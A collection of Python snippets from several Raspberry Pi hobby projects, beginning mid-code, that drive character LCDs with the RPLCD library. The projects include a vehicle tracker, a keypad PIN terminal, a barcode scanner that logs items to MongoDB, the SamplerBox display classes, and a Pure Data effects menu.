self.colors[id], espesor) except: cv2.rectangle(frame, box_coords[0], box_coords[1], (0, 0, 0), cv2.FILLED) cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 0, 0), 3) cv2.putText(frame, '[' + self.car_names[id] + ' ] : ' + str(id), (x1, y1), self.font, 1, (0, 0, 0), 1) else: try: cv2.rectangle(frame, box_coords[0], box_coords[1], self.colors[id], cv2.FILLED) cv2.rectangle(frame, (x1, y1), (x2, y2), self.colors[id], 3) except: cv2.rectangle(frame, box_coords[0], box_coords[1], (0, 0, 0), cv2.FILLED) cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 0, 0), 3) cv2.putText(frame, 'Detecting ' + str(id), (x1, y1), self.font, 1, (0, 0, 0), 1) if not self.recognizer.is_working() and locations: self.recognizer.enqueue(frame_rgb, locations, id_unknowns) def set_name(self, fid, name, color, bandera): self.working_lock.acquire() self.colors[fid] = color if fid in self.car_detected_names and not bandera: if name in self.car_detected_names[fid]: self.car_detected_names[fid][name] += 1 else: self.car_detected_names[fid][name] = 1 else: self.car_detected_names[fid] = {} self.car_detected_names[fid][name] = 1 self.car_names[fid] = CVProcessor.UNKNOWN_NAME if fid in self.car_names.keys( ) and self.car_detected_names[fid] and not bandera: counter = collections.Counter(self.car_detected_names[fid]) most_commons = counter.most_common(2) if (len(most_commons) > 1): most_common1 = most_commons[0] most_common2 = most_commons[1] if (most_common1[0] == CVProcessor.UNKNOWN_NAME): if (most_common1[1] < CVProcessor.SAME_NAME_REQUIRED_COUNT_UNKNOWN): most_common = most_common2 else: most_common = most_common1 else: most_common = most_common1 else: most_common = most_commons[0] CVProcessor.logger.info("[Track:" + str(fid) + "] common name: '" + most_common[0] + "' " + str(most_common[1]) + " times") if self.car_names[fid] == CVProcessor.UNKNOWN_NAME and most_common[ 1] >= CVProcessor.SAME_NAME_REQUIRED_COUNT: if (most_common[0] == "Procesando" and most_common[1] >= CVProcessor.SAME_NAME_REQUIRED_COUNT_UNKNOWN): self.car_names[fid] = "Desconocido" else: self.car_names[fid] = most_common[0] if (most_common[0] != CVProcessor.UNKNOWN_NAME): CVProcessor.logger.info("[Track:" + str(fid) + "] recognizated: '" + most_common[0] + "' " + str(most_common[1]) + " times") else: self.car_names[fid] = CVProcessor.UNKNOWN_NAME self.working_lock.release() return str(self.car_names[fid]) def isBlurryImage(self, image): gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) fm = cv2.Laplacian(gray, cv2.CV_64F).var() return (fm < CVProcessor.VARIANCE_OF_LAPLACIAN_THRESHOLD, fm) def start(self): CVProcessor.logger.info("Starting") self.recognizer.start() CVProcessor.logger.info("Started") def stop(self): CVProcessor.logger.info("Stopping") self.recognizer.stop() CVProcessor.logger.info("Stopped") def reboot_algorithm(self): CVProcessor.logger.info("Rebooting...") self.working_lock.acquire() self.car_names = {} self.tracker = Tracker() self.count = 0 self.colors = {} self.times = {} self.car_detected_count = {} self.car_detected_names = {} self.last_reboot = time.time() self.working_lock.release() self.lcd = CharLCD(cols=16, rows=2, pin_rs=11, pin_e=5, pins_data=[6, 13, 19, 26], numbering_mode=GPIO.BCM) self.lcd.clear() self.lcd.write_string(u'Running..') GPIO.output(CVProcessor.output_pin, GPIO.LOW) GPIO.output(CVProcessor.output_pin_puerta, GPIO.LOW) def imageAsByteArray(self, image): pil_img = Image.fromarray( image) # convert opencv frame (with type()==numpy) into PIL Image stream = io.BytesIO() pil_img.save(stream, format='JPEG') # convert PIL Image to Bytes return stream.getvalue()
from AltIMU_v3 import AltIMUv3 from RPLCD import CharLCD from RPi import GPIO import time import Activity_3 as Integral # LCD and GPIO Setup LCD = CharLCD(cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23]) Button = 12 GPIO.setup(Button, GPIO.IN) altimu = AltIMUv3() altimu.enable_gyroscope() LCD.clear() initial_zero, previous = 0, 0 LCD.write_string(u'Press the button to start...') area, actual, sampling_period, value = 0, 0, 0.1, 0 # Calibration function def calibrate(): average = 0 LCD.clear() LCD.write_string(u'Calibrating...') for i in range(0, 1000): gyro = altimu.get_gyroscope_cal() average += gyro[2] average = average / 1000 last_sample = gyro[2] return average, last_sample
class LCD_SYS_1: def __init__(self): if gv.SYSTEM_MODE == 1 and (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD): # Timing constants self.E_PULSE = 0.0005 self.E_DELAY = 0.0005 self.display_called = False self.temp_display = False if gv.IS_DEBIAN: self.thread_sleep = 0.05 else: self.thread_sleep = 0.1 self.timeout_init = 2 # default timeout reset time self.timeout_length = self.timeout_init # initial timeout length (timeout_custom will override) self.STRING_1 = '' self.STRING_2 = '' self.STRING_3 = '' self.STRING_4 = '' self.STRING_1_PRIORITY = '' self.STRING_2_PRIORITY = '' self.STRING_3_PRIORITY = '' self.STRING_4_PRIORITY = '' self.loop_alive = True if gv.IS_DEBIAN: import RPi.GPIO as GPIO from RPLCD import CharLCD self.lcd = CharLCD(pin_rs=gv.GPIO_LCD_RS, pin_rw=None, pin_e=gv.GPIO_LCD_E, pins_data=[gv.GPIO_LCD_D4, gv.GPIO_LCD_D5, gv.GPIO_LCD_D6, gv.GPIO_LCD_D7], numbering_mode=GPIO.BCM, cols=gv.LCD_COLS, rows=gv.LCD_ROWS, charmap='A00') self.lcd.clear() # Hide the cursor self.lcd._set_cursor_mode("hide") # Fill the display with blank spaces for i in range(1, gv.LCD_ROWS+1): self.lcd_string(' ', i) # Write custom codes to the LCD self.lcd.create_char(1, lcdcc.block) self.lcd.create_char(2, lcdcc.pause) self.lcd.create_char(3, lcdcc.voice_button_on) self.lcd.create_char(4, lcdcc.voice_button_off) self.lcd.create_char(5, lcdcc.block2) self.lcd.create_char(6, lcdcc.loading_hour_glass) self.LCDThread = threading.Thread(target=self.lcd_main) self.LCDThread.daemon = True self.LCDThread.start() def reset_after_timeout(self): self.display_called = False self.temp_display = False self.timeout_start = time.time() def lcd_main(self): if gv.USE_HD44780_20x4_LCD and gv.IS_DEBIAN: self.lcd.clear() # if gv.USE_HD44780_16x2_LCD: # self.lcd_string("WELCOME TO".center(gv.LCD_COLS, ' '), 1) # self.lcd_string("SAMPLERBOX".center(gv.LCD_COLS, ' '), 2) # elif gv.USE_HD44780_20x4_LCD: # self.lcd_string(unichr(1) * gv.LCD_COLS, 1) # self.lcd_string("WELCOME TO".center(gv.LCD_COLS, ' '), 2) # self.lcd_string("SAMPLERBOX".center(gv.LCD_COLS, ' '), 3) # self.lcd_string(unichr(1) * gv.LCD_COLS, 4) # time.sleep(0.6) self.timeout_start = time.time() print_message = '' while self.loop_alive: if self.display_called: now = time.time() if (now - self.timeout_start) > self.timeout_length: self.reset_after_timeout() if (self.temp_display or gv.displayer.menu_mode == gv.displayer.DISP_UTILS_MODE): self.lcd_string(self.STRING_1, 1) self.lcd_string(self.STRING_2, 2) print_message = "\r%s||%s" % (self.STRING_1[:gv.LCD_COLS], self.STRING_2[:gv.LCD_COLS]) if gv.USE_HD44780_20x4_LCD: self.lcd_string(self.STRING_3, 3) self.lcd_string(self.STRING_4, 4) print_message = "\r%s||%s||%s" % (print_message, self.STRING_3[:gv.LCD_COLS], self.STRING_4[:gv.LCD_COLS]) elif gv.displayer.menu_mode == gv.displayer.DISP_PRESET_MODE: self.lcd_string(self.STRING_1_PRIORITY, 1) self.lcd_string(self.STRING_2_PRIORITY, 2) print_message = "\r%s||%s" % (self.STRING_1_PRIORITY[:gv.LCD_COLS], self.STRING_2_PRIORITY[:gv.LCD_COLS]) if gv.USE_HD44780_20x4_LCD: self.lcd_string(self.STRING_3_PRIORITY, 3) self.lcd_string(self.STRING_4_PRIORITY, 4) print_message = "\r%s||%s||%s" % (print_message, self.STRING_3_PRIORITY[:gv.LCD_COLS], self.STRING_4_PRIORITY[:gv.LCD_COLS]) elif gv.displayer.menu_mode == gv.displayer.DISP_MENU_MODE: self.lcd_string(self.STRING_1_PRIORITY, 1) self.lcd_string(self.STRING_2_PRIORITY, 2) print_message = "\r%s||%s" % (self.STRING_1_PRIORITY[:gv.LCD_COLS], self.STRING_2_PRIORITY[:gv.LCD_COLS]) if gv.USE_HD44780_20x4_LCD: self.lcd_string(self.STRING_3_PRIORITY, 3) self.lcd_string(self.STRING_4_PRIORITY, 4) print_message = "\r%s||%s||%s" % (print_message, self.STRING_3_PRIORITY[:gv.LCD_COLS], self.STRING_4_PRIORITY[:gv.LCD_COLS]) if gv.PRINT_LCD_MESSAGES: sys.stdout.write(print_message) sys.stdout.flush() gui_message = print_message.replace('\r', '') gui_message = gui_message.replace('||', '\r') if gv.USE_GUI and not gv.IS_DEBIAN: gv.gui.output['text'] = gui_message time.sleep(self.thread_sleep) def lcd_string(self, message, line): message = message[:gv.LCD_COLS] message = message.ljust(gv.LCD_COLS, " ") if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD) and gv.IS_DEBIAN: self.lcd.write_string(message[:gv.LCD_COLS]) def display(self, message, line=1, is_priority=False, timeout_custom=None): message += ' ' * gv.LCD_COLS # Send string to display if line == 1: self.STRING_1 = message if is_priority: self.STRING_1_PRIORITY = message else: self.temp_display = True if line == 2: self.STRING_2 = message if is_priority: self.STRING_2_PRIORITY = message else: self.temp_display = True if line == 3: self.STRING_3 = message if is_priority: self.STRING_3_PRIORITY = message else: self.temp_display = True if line == 4: self.STRING_4 = message if is_priority: self.STRING_4_PRIORITY = message else: self.temp_display = True if timeout_custom != None: self.timeout_length = timeout_custom else: self.timeout_length = self.timeout_init self.timeout_start = time.time() self.display_called = True def stop(self): self.lcd.close() self.loop_alive = False
def send_pin(): global step global lcd_flag global lcd s_pin = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = global_host port = 1314 adress = ((host, port)) s_pin.connect(adress) matrix = [['1', '2', '3', 'A'], ['4', '5', '6', 'B'], ['7', '8', '9', 'C'], ['*', '0', '#', 'D']] row = [14, 15, 18, 23] col = [24, 25, 8, 7] for j in range(4): GPIO.setup(col[j], GPIO.OUT) GPIO.output(col[j], 1) for i in range(4): GPIO.setup(row[i], GPIO.IN, pull_up_down=GPIO.PUD_UP) text_pin = '' write_pin = 0 m_pin = 0 m_rfid = 0 while True: for j in range(4): GPIO.output(col[j], 0) for i in range(4): if GPIO.input(row[i]) == 0: if matrix[i][j] == 'D': start = time.time() while (GPIO.input(row[i]) == 0): if (time.time() - start > 1.0) and (text_pin != '') and (step == 0 or step == 1): s_pin.send(str.encode(text_pin)) data = s_pin.recv(4096) data = data.decode('utf-8') data_splitted = data.split('/') if len(data_splitted) == 3: m_rfid = data_splitted[1] m_pin = data_splitted[2] if m_pin == '1': step = 1 lcd_flag = 0 elif m_rfid == '1': step = 2 lcd_flag = 0 elif (m_pin == '0') and (m_rfid == '0'): step = 5 lcd_flag = 0 elif len(data_splitted) == 1: if data_splitted[0] == 'GOOD_PIN': if m_rfid == '1': step = 2 else: step = 5 lcd_flag = 0 elif data_splitted[0] == 'WRONG_PIN': step = 3 lcd_flag = 0 elif data_splitted[0] == 'WRONG_MACHINE': m_pin = None m_rfid = None step = 8 lcd_flag = 0 text_pin = '' lcd.cursor_pos = (1, 0) lcd.write_string(u' ') break if (time.time() - start < 1.0) and (step == 0 or step == 1): text_pin = text_pin[:-1] lcd.cursor_pos = (1, 0) if write_pin == 0: lcd.write_string(text_pin+u' ') if write_pin == 1: lcd.write_string('*'*len(text_pin)+u' ') else: if (step == 0) or (step == 1): text_pin += matrix[i][j] lcd.cursor_pos = (1, 0) if write_pin == 0: lcd.write_string(text_pin) if write_pin == 1: lcd.write_string('*'*len(text_pin)) while (GPIO.input(row[i]) == 0): pass GPIO.output(col[j], 1) if lcd_flag == 0: lcd.clear() if step == 0: lcd_flag = 1 write_pin = 0 lcd.cursor_pos = (0, 0) lcd.write_string(u'CHOOSE MACHINE') elif step == 1: lcd_flag = 1 write_pin = 1 lcd.cursor_pos = (0, 0) lcd.write_string(u'WRITE PIN') elif step == 2: lcd_flag = 1 lcd.cursor_pos = (0, 0) lcd.write_string(u'PLACE RFID CARD') time.sleep(1) elif step == 3: lcd.cursor_pos = (0, 0) lcd.write_string(u'WRONG') lcd.cursor_pos = (1, 0) lcd.write_string(u'PIN') if m_rfid == '1': s_pin.send(str.encode(' ')) time.sleep(1) step = 0 elif step == 4: lcd.cursor_pos = (0, 0) lcd.write_string(u'WRONG') lcd.cursor_pos = (1, 0) lcd.write_string(u'RFID CARD') s_pin.send(str.encode('WRONG_RFID')) time.sleep(1) step = 0 elif step == 5: lcd_flag = 1 lcd.cursor_pos = (0, 0) lcd.write_string(u'FACE') lcd.cursor_pos = (1, 0) lcd.write_string(u'RECOGNITION') if m_rfid == '1': s_pin.send(str.encode(' ')) time.sleep(2) elif step == 6: lcd.cursor_pos = (0, 0) lcd.write_string(u'WELCOME') lcd.cursor_pos = (1, 0) lcd.write_string(first_name + u' ' + second_name) time.sleep(3) lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[16, 12, 27, 22], compat_mode=True) lcd.clear() step = 0 elif step == 7: lcd.cursor_pos = (0, 0) lcd.write_string(first_name + u' ' + second_name) lcd.cursor_pos = (1, 0) lcd.write_string( u'H: ' + work_hours + u' M: ' + work_minutes + u' S: ' + work_seconds) time.sleep(3) lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[16, 12, 27, 22], compat_mode=True) lcd.clear() step = 0 elif step == 8: lcd.cursor_pos = (0, 0) lcd.write_string(u'WRONG') lcd.cursor_pos = (1, 0) lcd.write_string(u'MACHINE') time.sleep(1) step = 0
class BarcodeScanner(): def __init__(self): self.code = None self.start_time = time.time() self.send_to_db = False self.delete_wait_time = 5 # for BCM Mode # lcd_rs = 25 # lcd_en = 24 # lcd_d4 = 23 # lcd_d5 = 17 # lcd_d6 = 18 # lcd_d7 = 22 # lcd_backlight = 4 # for Board Mode lcd_rs = 22 lcd_en = 18 lcd_d4 = 16 lcd_d5 = 11 lcd_d6 = 12 lcd_d7 = 15 lcd_backlight = 4 # Define LCD column and row size for 16x2 LCD. lcd_columns = 16 lcd_rows = 2 self.lcd = CharLCD(cols=lcd_columns, rows=lcd_rows, pin_rs=lcd_rs, pin_e=lcd_en, pins_data=[lcd_d4, lcd_d5, lcd_d6, lcd_d7], numbering_mode=GPIO.BOARD) self.lcd.clear() self.db = MongoDB() GPIO.setmode(GPIO.BOARD) self.red_light = 40 self.green_light = 37 self.buzzer = 38 self.button_remove = 32 GPIO.setup(10, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) # button for delete GPIO.setup(self.green_light, GPIO.OUT) # Green Light GPIO.setup(self.red_light, GPIO.OUT) # Red Light GPIO.setup(self.buzzer, GPIO.OUT) # Buzzer GPIO.setup(self.button_remove, GPIO.IN, pull_up_down=GPIO.PUD_DOWN) # button for remove GPIO.add_event_detect(10, GPIO.RISING, callback=self.button_callback) GPIO.add_event_detect(self.button_remove, GPIO.RISING, callback=self.remove_item) # lcd.write_string('Hello world!') # message = input("Press enter to quit\n\n") # lcd.clear() def remove_item(): print("Enter Remove") self.lcd.clear() self.lcd.write_string('Scan the item') if self.code != None: self.send_to_mongo(override=True) scanned = False image_in_memory = False while scanned != True: self.capture_image() image_in_memory = True barcode = self.get_barcode() if barcode != None: self.code = barcode self.db.doneWithItem(self.code) self.lcd.clear() self.lcd.write_string('Item removed! Good Job!') self.code = None scanned = True self.delete_image() image_in_memory = False time.sleep(0.5) def capture_image(self): # initialize the camera and grab a reference to the raw camera capture with PiCamera() as camera: # rawCapture = PiRGBArray(camera) # allow the camera to warmup time.sleep(0.1) # grab an image from the camera camera.capture('code.jpeg') # camera.capture('pics/'+i+'.jpeg') # image = rawCapture.array def send_to_mongo(self, override): time_elapsed = time.time() - self.start_time if self.send_to_db == False and time_elapsed > self.delete_wait_time and self.code != None: print("Adding to MongoDB") self.db.insertItem(self.code) self.send_to_db = True self.code = None elif override == True: print("Adding to MongoDB") self.db.insertItem(self.code) self.send_to_db = True self.code = None def get_barcode(self): path = "code.jpeg" # path = 'pics/'+i+'.jpeg' image = cv2.imread(path) barcodes = pyzbar.decode(image) if barcodes != None: for barcode in barcodes: self.lcd.clear() if self.send_to_db == False and self.code != None: self.send_to_mongo(override=True) decoded = str(barcode.data.decode()) self.start_time = time.time() self.send_to_db = False print(decoded) self.lcd.write_string('Item Added! :)') GPIO.output(self.green_light, GPIO.HIGH) GPIO.output(self.buzzer, GPIO.HIGH) time.sleep(0.5) GPIO.output(self.green_light, GPIO.LOW) GPIO.output(self.buzzer, GPIO.LOW) return decoded return None def delete_image(self): os.remove("code.jpeg") def button_callback(self, temp): print("Button was pressed!") time_elapsed = time.time() - self.start_time if time_elapsed < self.delete_wait_time: self.lcd.clear() self.lcd.write_string('Deleted! We got you!!') print( "Made the item disappear. We challenge James Bond to find it.") self.code = None GPIO.output(self.green_light, GPIO.HIGH) GPIO.output(self.buzzer, GPIO.HIGH) time.sleep(0.3) GPIO.output(self.green_light, GPIO.LOW) GPIO.output(self.buzzer, GPIO.LOW) time.sleep(0.3) GPIO.output(self.green_light, GPIO.HIGH) GPIO.output(self.buzzer, GPIO.HIGH) time.sleep(0.3) GPIO.output(self.green_light, GPIO.LOW) GPIO.output(self.buzzer, GPIO.LOW) else: print("Try deleting using WebApp!") self.lcd.clear() self.lcd.write_string('Delete in App!') GPIO.output(self.red_light, GPIO.HIGH) GPIO.output(self.buzzer, GPIO.HIGH) time.sleep(1) GPIO.output(self.red_light, GPIO.LOW) GPIO.output(self.buzzer, GPIO.LOW) time.sleep(1) GPIO.output(self.red_light, GPIO.HIGH) GPIO.output(self.buzzer, GPIO.HIGH) time.sleep(1) GPIO.output(self.red_light, GPIO.LOW) GPIO.output(self.buzzer, GPIO.LOW) def button_test(self): try: GPIO.add_event_detect(10, GPIO.RISING, callback=self.button_callback ) # Setup event on pin 10 rising edge message = input("Press enter to quit\n\n") GPIO.cleanup() except KeyboardInterrupt: GPIO.cleanup() def main(self): image_in_memory = False try: while True: self.capture_image() image_in_memory = True barcode = self.get_barcode() if barcode != None: self.code = barcode self.send_to_mongo(override=False) self.delete_image() image_in_memory = False time.sleep(0.5) except KeyboardInterrupt: self.lcd.clear() GPIO.cleanup() if image_in_memory == True: self.delete_image()
## CLEAR THE SCREEN ''' The function lcd.clear() will clear the screen. The following code will print “Hello world!” to the screen for two seconds before clearing it: ''' import time # This is the library which we will be using for the time function from RPLCD import CharLCD # This is the library which we will be using for LCD Display from RPi import GPIO # This is the library which we will be using for using the GPIO pins of Raspberry PI # Initializing the LCD Display lcd = CharLCD(numbering_mode=GPIO.BOARD, cols=16, rows=2, pin_rs=37, pin_e=35, pins_data=[33, 31, 29, 23]) lcd.write_string("Hello world!") time.sleep(2) # This will hold the code here for 2 seconds lcd.clear() # And this clears the LCD Display # Always Clean Up the GPIO after using the code GPIO.cleanup()
class Menu: """Menu class for managing a multi effects patch in Pd on Raspberry Pi. The Menu is operated via a rotary encoder with an integrated push button. Another button is added to navigate the Menu. Turning the rotary encoder selects menu options or changes effects parameters. Pushing the encoders internal push button increases the menu level and pushing the other button decreases the menu level. The menu levels are: 0. Level Metering 1. Effect Selection 2. Parameter Selection 3. Parameter Adjustment The Menu is displayed on a HD44780 compatible 2x16 character display. Pd and the Menu communicate via OSC messages and listen on different ports. This menu is designed to display true effects parameters values, even if these values are changed by a different source like a MIDI controller. Manuel Planton 2019 """ OSC_ADDRESS = "/menu" LEVEL_MIN = 0 LEVEL_MAX = 3 SUPERLINE = "#" * 16 def __init__(self, ip, port, pd_ip, pd_port, d_rs, d_rw, d_e, d_d4, d_d5, d_d6, d_d7, r_clk, r_d, r_sw, button): """Constructor IP addresses and port numbers for OSC connection are needed. Prefix 'd' is for HD44780 compatible display connections connected to the pins of the RPi. Prefix 'r' is for KY040 compatible rotary encoder connections connected to the pins of the RPi. Pin numbers are BCM numbers! (see GPIO.setmode(GPIO.BCM)) Args: ip: IP Address of the OSC server of this menu port: port number of the OSC server of this menu pd_ip: IP Address of the OSC server of the Pd effects patch pd_port: port number of the OSC server of the Pd effects patch d_rs: HD44780 register select pin number d_rw: HD44780 read/write pin number d_e: HD44780 enable pin number d_d4: HD44780 data channel 4 pin number d_d5: HD44780 data channel 5 pin number d_d6: HD44780 data channel 6 pin number d_d7: HD44780 data channel 7 pin number r_clk: rotary encoder clock pin number r_d: rotary encoder data pin number r_sw: rotary encoder internal switch button pin number button: push button pin number """ self.ip = ip self.port = port self.pd_ip = pd_ip self.pd_port = pd_port self.pd_is_connected = False self.rotary_increment = 1 # menu level entry state self.level = 1 # current effect self.fx_nr = 0 # current parameter of the effect self.param_nr = 0 # define effects main = Effect(name="main", params={ 'on': 1, 'in_vol': 127, 'out_vol': 127 }) reverb = Effect(name="reverb", params={ 'on': 0, 'dry': 64, 'wet': 120, 'rev_in_lvl': 100, 'liveness': 80, 'fc': 40, 'hf_damp': 7 }) delay = Effect( "delay", { 'on': 0, 'dry': 64, 'wet': 127, 'delay_time': 64, 'feedback': 100, 'fc_lop': 120, 'fc_hip': 25, 'detune': 10, 'mod_freq': 5 }) lop = Effect("lop", {'on': 0, 'fc': 64}) hip = Effect("hip", {'on': 0, 'fc': 30}) # effects list self.fx = [main, reverb, delay, lop, hip] GPIO.setmode(GPIO.BCM) self.button = Button.Button(button, "falling", self.buttonPressed) # callbacks for encoder and OSC handlers must be defined self.r_encoder = KY040.KY040(r_clk, r_d, r_sw, self.rotaryChange, self.switchPressed) print("DBG: initialize display") # Compat mode is true because slow displays show garbage sometimes. self.lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=d_rs, pin_rw=d_rw, pin_e=d_e, pins_data=[d_d4, d_d5, d_d6, d_d7], compat_mode=True) print("DBG: initialize OSC Server") self.server = OSC3.OSCServer((ip, port)) print("DBG: initialize OSC Client") self.client = OSC3.OSCClient() # first appearance of the menu self.printMenu() def buttonPressed(self, pin): """Callback function for the single push button""" print("DBG: button pressed") if self.level > self.LEVEL_MIN: self.level = self.level - 1 self.printMenu() def switchPressed(self, pin): """Callback function for pressing the internal button of the rotary encoder Args: pin: BCM pin number of the button """ print("DBG: rotary button pressed") # try to connect to Pd if it has not been done successfully if (self.pd_is_connected == False): self.connectToPd() if self.level < self.LEVEL_MAX: self.level = self.level + 1 # update all parameters of the effect self.updateParameters() self.printMenu() elif self.level == self.LEVEL_MAX: # change rotary encoder increment if switch pressed on parameter adjustment level if self.rotary_increment == 1: self.rotary_increment = 5 elif self.rotary_increment == 5: self.rotary_increment = 10 elif self.rotary_increment == 10: self.rotary_increment = 25 elif self.rotary_increment == 25: self.rotary_increment = 1 def rotaryChange(self, direction): """Callback function for turning the rotary encoder Args: direction: 1 - clockwise, -1 - counterclockwise """ print("DBG: turned: ", str(direction)) # level 0 is metering -> do nothing if self.level <= 0: return if self.level == 1: # effect selection new_fx_nr = self.fx_nr + direction if new_fx_nr in range(0, len(self.fx)): self.fx_nr = new_fx_nr self.param_nr = 0 self.printMenu() elif self.level == 2: # parameter selection new_param_nr = self.param_nr + direction if new_param_nr in range(0, len(self.fx[self.fx_nr].params)): self.param_nr = new_param_nr self.printMenu() elif self.level == 3: # parameter adjustment current_fx = self.fx[self.fx_nr] keys = list(current_fx.params.keys()) key = keys[self.param_nr] new_val = current_fx.params[key] + (direction * self.rotary_increment) if new_val < current_fx.MIN_VAL: new_val = current_fx.MIN_VAL elif new_val > current_fx.MAX_VAL: new_val = current_fx.MAX_VAL # on is handled differently if key == 'on': current_fx.params[key] = int(not current_fx.params[key]) else: current_fx.params[key] = new_val self.setParameter() self.printMenu() else: print("ERROR: no such level!") def printMenu(self): print("DBG:", "lvl:", str(self.level)) print("DBG:", "fx_nr:", str(self.fx_nr)) print("DBG:", "param_nr:", str(self.param_nr)) # metering if self.level == 0: self.lcd.clear() self.lcd.cursor_pos = (0, 0) self.lcd.write_string("Menu lvl 0") self.lcd.cursor_pos = (1, 0) self.lcd.write_string("Metering: TBA") # effect selection elif self.level == 1: self.lcd.clear() if self.fx_nr == len(self.fx) - 1: # last entry on = self.fx[self.fx_nr].params['on'] self.lcd.cursor_pos = (0, 0) self.lcd.write_string("*" + self.fx[self.fx_nr].name + " " + str(on)) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(self.SUPERLINE) else: self.lcd.cursor_pos = (0, 0) on_1 = self.fx[self.fx_nr].params['on'] self.lcd.write_string("*" + self.fx[self.fx_nr].name + " " + str(on_1)) self.lcd.cursor_pos = (1, 0) on_2 = self.fx[self.fx_nr + 1].params['on'] self.lcd.write_string(" " + self.fx[self.fx_nr + 1].name + " " + str(on_2)) # parameter selection and adjustment elif self.level == 2 or self.level == 3: params = self.fx[self.fx_nr].params keys = list(params.keys()) key1 = keys[self.param_nr] if self.level == 2: crsr = "*" else: crsr = ">" self.lcd.clear() # last entry if self.param_nr == len(params) - 1: self.lcd.cursor_pos = (0, 0) self.lcd.write_string(crsr + key1 + ": " + str(params[key1])) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(self.SUPERLINE) else: key2 = keys[self.param_nr + 1] self.lcd.cursor_pos = (0, 0) self.lcd.write_string(crsr + key1 + ": " + str(params[key1])) self.lcd.cursor_pos = (1, 0) self.lcd.write_string(" " + key2 + ": " + str(params[key2])) else: print("ERROR: no such menu level") def setParameter(self): msg = OSC3.OSCMessage() keys = list(self.fx[self.fx_nr].params.keys() ) # TODO: this should be more efficient and convenient key = keys[self.param_nr] msg.setAddress("/pd/" + self.fx[self.fx_nr].name + "/set/" + key) msg.append(self.fx[self.fx_nr].params[key]) self.client.send(msg) def getParameter(self, key): msg = OSC3.OSCMessage() msg.setAddress("/pd/" + self.fx[self.fx_nr].name + "/get/" + key) msg.append("bang") self.client.send(msg) def updateParameters(self): params = self.fx[self.fx_nr].params for key in self.fx[self.fx_nr].params: self.getParameter(key) def connectToPd(self): # it is possible to tell Pd the ip and the port to connect to print("DBG: Try to let Pd connect to menu's server") self.oscSend("/pd/connect", "bang") def handleGetParameter(self, addr, tags, data, client_address): # Messages to menu should be exclusively from Pd or to what it should be connected if self.pd_is_connected == False: self.pd_is_connected = True # safer, but more expensive -> search name of effect according to data key = data[-2] value = data[-1] self.fx[self.fx_nr].params[key] = int(value) def oscSend(self, address, data): msg = OSC3.OSCMessage() msg.setAddress(address) msg.append(data) self.client.send(msg) def run(self): self.r_encoder.start() self.button.start() print("connect menu OSC client to", self.pd_ip, "at port", str(self.pd_port)) self.client.connect((self.pd_ip, self.pd_port)) self.server.addMsgHandler('/menu', self.handleGetParameter) print("running...") self.server.serve_forever() def stop(self): self.r_encoder.stop() self.button.stop() GPIO.cleanup()
class LCD_SYS_2: def __init__(self): if gv.IS_DEBIAN: self.thread_sleep = 0.1 else: self.thread_sleep = 0.2 self.timeout_init = 3 # 3 sec self.timeout_init /= self.thread_sleep # Adjust according to while loop sleep time self.timeout = self.timeout_init self.display_called = False if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD or gv.USE_I2C_16X2DISPLAY) and gv.IS_DEBIAN: import lcdcustomchars as lcdcc import RPi.GPIO as GPIO from RPLCD import CharLCD if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD): self.lcd = CharLCD(pin_rs=gv.GPIO_LCD_RS, pin_rw=None, pin_e=gv.GPIO_LCD_E, pins_data=[ gv.GPIO_LCD_D4, gv.GPIO_LCD_D5, gv.GPIO_LCD_D6, gv.GPIO_LCD_D7 ], numbering_mode=GPIO.BCM, cols=gv.LCD_COLS, rows=gv.LCD_ROWS, charmap='A00') elif (gv.USE_I2C_16X2DISPLAY): self.lcd = CharLCD('PCF8574', gv.I2C_16x2DISPLAY_ADDR) self.lcd.create_char(1, lcdcc.block) self.lcd.create_char(2, lcdcc.arrow_right_01) self.lcd.create_char(3, lcdcc.voice_button_on) self.lcd.create_char(4, lcdcc.voice_button_off) if (gv.USE_HD44780_16x2_LCD or gv.USE_HD44780_20x4_LCD) and gv.SYSTEM_MODE == 2: self.STRING_1 = '' self.STRING_2 = '' self.LCDThread = threading.Thread(target=self.lcd_main) self.LCDThread.daemon = True self.LCDThread.start() # time.sleep(0.5) # display('Start SamplerBox') # bug: the way autochorder is loaded causes issue # time.sleep(0.5) def lcd_main(self): if gv.IS_DEBIAN: self.lcd.clear() self.lcd_string("WELCOME TO", 1) self.lcd_string("-=SAMPLERBOX=-", 2) time.sleep(1) while True: if self.display_called: if self.timeout > 0: self.timeout -= 1 else: self.display_called = False self.tempDisplay = False self.lcd_string(self.STRING_1, 1) self.lcd_string(self.STRING_2, 2) time.sleep(self.thread_sleep) def lcd_string(self, message, line): message = message.center(gv.LCD_COLS, " ") if gv.IS_DEBIAN: global lcd lcd._set_cursor_pos((line - 1, 0)) lcd.write_string(message) def display(self, s2): if gv.USE_ALSA_MIXER: s1 = "%s %s %d%% %+d" % ( gv.autochorder.CHORD_NAMES[gv.autochorder.current_chord], gv.sample_mode, gv.global_volume, gv.globaltranspose) else: s1 = "%s %s %+d" % ( gv.autochorder.CHORD_NAMES[gv.autochorder.current_chord], gv.sample_mode, gv.globaltranspose) pass if s2 == "": if gv.currvoice > 1: s2 = str(gv.currvoice) + ":" s2 += str(gv.basename) + str(" " * gv.LCD_COLS) if gv.nav.buttfunc > 0: s2 = s2[:gv.LCD_COLS - 2] + "*" + gv.nav.button_disp[gv.nav.buttfunc] else: s2 = s2 + ' ' * gv.LCD_COLS if gv.PRINT_LCD_MESSAGES: message = "\r%s || %s" % (s1[:gv.LCD_COLS], s2[:gv.LCD_COLS]) # print "display: %s \\ %s" % (s1[:gv.LCD_COLS], s2[:gv.LCD_COLS]) 